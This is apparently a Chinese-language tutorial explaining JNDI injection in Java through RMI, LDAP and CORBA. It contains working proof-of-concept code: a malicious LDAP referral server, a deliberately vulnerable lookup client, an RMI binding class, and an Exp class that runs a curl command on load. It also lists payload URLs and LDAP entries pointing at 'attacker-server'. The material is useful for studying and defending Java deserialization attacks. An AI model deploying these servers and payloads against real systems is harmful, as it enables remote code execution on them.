java为了将object对象存储在Naming或者Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming和Directory服务下,比如(rmi,ldap等)。在使用Reference的时候,我们可以直接把对象写在构造方法中,当被调用的时候,对象的方法就会被触发。
不应使用不受信任的数据执行JNDI查找
其攻击过程如下
命名/目录服务
中当攻击者可控数据为<ATTACKER-CONTROLLED>
Context.PROVIDER_URL
初始参数为本地的1099端口,如果这个参数被攻击者可控,于是就能实现远程加载恶意的对象,动态协议转化时会出现如下情况:
Context ctx = new InitialContext();
ctx.lookup(<ATTACKER-CONTROLLED>);
这样就会导致JNDI注入
漏洞,攻击者可能构造如下绝对URL来达成攻击
xxxxxxxxxx
rmi://attacker-server/bar
ldap://attacker-server/cn=bar,dc=test,dc=org
iiop://attacker-server/bar
corbaname:iiop:attacker-server#bar
iiopname://attacker-server/bar
...
PS. 不仅仅是InitialContext.lookup()
方法会受到影响,其他方法例如InitialContext.rename()
、 InitialContext.lookupLink()
最后也调用了InitialContext.lookup()
。还有其他包装了JNDI
的应用,例如Apache’s Shiro JndiTemplate
、Spring’s JndiTemplate
也会调用InitialContext.lookup()
主要有三种角度来实现RCE
xRMI
- JNDI Reference
- Remote Object
CORBA (Common Object Request Broker Architecture,通用对象请求代理结构)
- IOR
LDAP
- 序列化对象
- JNDI Reference
- Remote Location
xxxxxxxxxx
Payload:
- JNDI Reference: Class Name: Payload
- Factory Name: PayloadFactory
- Factory Codebase: http://attacker-server/
Naming Manager 解密方法:
xxxxxxxxxx
static ObjectFactory getObjectFactoryFromReference(Reference ref, String factoryName) {
Class clas = null;
// 当远程调用类的时候默认会在rmi服务器中的classpath中查找
// 如果不存在就会去url地址去加载类。
// 如果都加载不到就会失败。
String codebase;
if (clas == null && (codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase); // !
} catch (ClassNotFoundException e) {}
}
return (clas != null) ? (ObjectFactory) clas.newInstance() : null; // !
}
如果加载了攻击者自行构造的远程恶意类就可能导致RCE
IOR远程获取实现类, 控制IOR
可以指定其控制下的IDL
接口和代码库位置,从而RCE
IOR (Interoperable Object Reference, 可互操作对象引用): 是一个CORBA
或RMI-IIOP
引用
IIOP (Internet Inter-ORB Protocol, 互联网内部对象请求代理协议)
IDL (Interface Definition Language, 接口定义语言), 是一种分布式对象技术, 可实现网络上不同平台上的对象相互之间的交互
IOR
可以是一个二进制格式或序列化并十六进制后的字符串
反序列化时的代码如下:
xxxxxxxxxx
private void readObject (java.io.ObjectInputStream s) throws IOException {
String str = s.readUTF();
String[] args = null;
java.util.Properties props = null;
org.omg.CORBA.ORB orb = org.omg.CORBA.ORB.init(args, props);
try {
org.omg.CORBA.Object obj = orb.string_to_object(str); // !
...
LDAP可以用来存储Java对象
存储方法有如下几种:
而Nameing Manager
在decode
这些对象的时候可能会导致RCE
search()
和lookup()
经常用在LDAP操作中
LDAP search()
可以使用SearchControls
对象来指定搜索范围和搜索结果返回的内容
xxxxxxxxxx
Search("uid=john,ou=People,dc=example,dc=org")
res:
xxxxxxxxxx
ObjectClass: inetOrgPerson
UID: john
Name: John Smith
Email Address: john@acme.com
Location: Vegas, NV
如果搜索是请求返回条目的对象(SearchControls.setReturningObjFlag()
为true
),则SearchResult
将包含一个表示entry
的对象...
如果java.io.Serializable
,Referenceable
或Reference object
先前绑定到该LDAP上,这条entry
的attributes
将重建该对象...
否则,entry
中的attributes
将用于创建表示LDAP条目的DirContext
实例。
如果搜索是请求返回条目的对象(SearchControls.setReturningObjFlag()
为true
),则SearchResult
将包含一个表示该项的对象
xxxxxxxxxx
// only generate object when requested
if (searchArgs.cons.getReturningObjFlag()) {
if (attrs.get(Obj.JAVA_ATTRIBUTES[Obj.CLASSNAME]) != null) {
// Entry contains Java-object attributes (ser/ref object)
// serialized object or object reference
obj = Obj.decodeObject(attrs);
}
if (obj == null) {
obj = new LdapCtx(homeCtx, dn);
}
...
}
可以构造如下攻击payload(序列化对象):
xxxxxxxxxx
ObjectClass: inetOrgPerson
UID: john
Name: John Smith
Email Address: john@example.org
Location: Vegas, NV
javaSerializedData: ACED01A43C4432FEEA1489AB89EF11183E499... javaCodebase: http://attacker-server/
javaClassName: DeserializationPayload
如果com.sun.jndi.ldap.object.trustURLCodebase
为true
,攻击者可以提供自己的类,否则只能用classpath
中可用的gadgets
还可构造(JNDI References):
xxxxxxxxxx
ObjectClass: inetOrgPerson, javaNamingReference
UID: john
Name: John Smith
Email Address: john@example.org
Location: Vegas, NV
javaCodebase: http://attacker-server/
JavaFactory: Factory
javaClassName: MyClass
使用JNDI引用使用远程工厂类:
javaCodebase
:位置, javaFactory
: 名称, javaClassName
:被引用类的名称
而对于lookup()
操作来说,攻击代码还可以是这种:
xxxxxxxxxx
Context ctx = new InitialContext();
ctx.lookup("ldap://attacker-server:port/xx");
ctx.close();
此时服务端代码如下
xxxxxxxxxx
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.IOException;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class LDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] args) throws IOException {
int port = 37777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", InetAddress.getByName("0.0.0.0"), port,
ServerSocketFactory.getDefault(), SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()
));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL("http://localhost:37778/#Exp")));
// 当前环境下如果没有Exp.class,则会去访问37778端口下的 /Exp.class
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
Vuln.java
(假设其中的uri
是上面提到的攻击者可控点<ATTACKER-CONTROLLED>
)
xxxxxxxxxx
import javax.naming.Context;
import javax.naming.InitialContext;
public class Vuln {
public static void main(String[] args) throws Exception {
// 本地测试使用了高版本java, 需要设置com.sun.jndi.rmi.object.trustURLCodebase
// 否则报错The object factory is untrusted.
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
// String uri = <ATTACKER-CONTROLLED>
String uri = "rmi://127.0.0.1:1099/Exp";
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}
Exp.java
xxxxxxxxxx
import java.io.IOException;
public class Exp {
public Exp() throws IOException,InterruptedException{
String cmd = "curl http://127.0.0.1/hacked";
final Process process = Runtime.getRuntime().exec(cmd);
}
}
Bind.java
xxxxxxxxxx
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
public class Bind {
public static void main(String args[]) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference exp = new Reference("Exp", "Exp", "http://127.0.0.1/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(exp);
System.out.println("Binded~");
registry.bind("Exp", refObjWrapper);
}
}
当有Vuln
通过 lookup("xxx")
获取远程对象时,获得到一个Reference
类的存根
由于获取的是一个Reference
实例,
客户端会首先去本地的CLASSPATH
去寻找被标识为Exp
的类,
如果本地未找到,则会去请求 http://127.0.0.1/Exp.class
动态加载classes并调用Exp
的构造方法。
当然,如果当前目录下有Exp.class
就不用开启http
服务了